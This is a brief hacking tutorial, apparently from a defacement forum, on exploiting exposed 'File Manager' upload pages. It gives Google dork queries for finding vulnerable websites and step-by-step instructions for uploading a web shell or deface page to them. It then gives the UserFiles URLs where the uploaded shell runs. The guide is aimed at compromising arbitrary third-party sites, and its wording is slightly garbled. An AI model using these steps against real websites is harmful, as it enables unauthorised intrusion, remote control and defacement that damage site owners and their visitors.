"File Manager" Remote Shell and Deface Upload Vulnerability.

Following is the vulnerability to remotly upload your shell or deface on a vulnerable website.

Google Dorks:

inurl:/filemanager/userfiles/ filetype:pdf
inurl:/filemanager/index.html

Vulnerable URL:

http://www.site.com/filemanager/index.html

Now, google the dork and select any website from the search result.

When you will select any website, the URL will be as

http://www.site.com/filemanager/UserFiles/File/xyz/abc.pdf

Now delete the text after filemanager. Now after deleteing the text URL will be

http://www.site.com/filemanager/

You will get a upload option, upload your shell or deface there.

Your will will be uploaded in Userfiles directory. z

To view your shell visit the below mentioned URLs:

http://www.site.com/UserFiles/Shell.php

http://www.site.com/UserFiles/deface.html

or 

http://www.site.com/UserFiles/directory/Shell.php

http://www.site.com/UserFiles/directory/deface.html